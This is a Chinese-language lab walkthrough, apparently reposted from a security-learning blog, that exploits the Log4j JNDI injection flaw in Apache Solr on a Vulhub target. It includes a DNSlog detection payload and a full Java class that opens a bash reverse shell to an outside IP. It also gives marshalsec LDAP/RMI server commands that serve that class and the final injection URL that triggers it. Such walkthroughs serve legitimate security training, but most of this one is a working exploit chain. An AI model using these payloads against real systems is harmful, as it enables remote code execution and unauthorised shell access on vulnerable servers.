环境搭建
靶场下载
Vulhub - Docker-Compose file for vulnerability environment
服务启动
漏洞检测
用到dnslog平台检测dns回显,看看有没有漏洞存在。 dnslog.cn
在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造 payload,访问的url如下:
http://192.168.43.132:8983/solr/admin/cores?
action=${jndi:ldap://${sys:java.version}.pjrpe6.dnslog.cn}
漏洞利用
编写恶意类文件
1. 我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip152.136.102.131)的5555端 口,因此对应的bash命令为
exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do 2>&5 >&5; done
其他反弹shell的语句:https://forum.ywhack.com/shell.php
我们就将我们反弹shell的命令写入到恶意的文件中,并取名为Exploit.java
public class Exploit {
public Exploit(){
try{
String[] commands = {"bash","-c","exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
2. 然后我们把Exploit.java编译为类文件Exploit.class,最好javac的版本为1.8
浏览器验证,是否能够从web服务中访问到Exploit.class文件(必须要保证从web服务中能够访问到)
开启LDAP服务
1. 接下来使用marshalsec项目,启动LDAP服务,监听1389端口并加载远程类Exploit.class:
项目下载地址:marshalsec-0.0.3: marshalsec-0.0.3-SNAPSHOT.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://152.136.102.131:8000/#Exploit" 1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://152.136.102.131:8000/#Exploit" 8888
PS:以上两种服务选择启动那个服务都行。这里开启LDAP服务,注意要更改IP中的内容为你的web服务。
监听反弹
攻击机新开终端,监听之前Exploit.java里面写的反弹shell的端口5555
开启攻击
最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action=构造一个JNDI注入.
http://192.168.43.132:8983/solr/admin/cores?action=${jndi:ldap://152.136.102.131:1389/Exploit}
查看监听端,发现shell反弹成功(如果反弹一直不成功,尝试Burp抓包插入poc发送).
转载来自 徐长卿学网安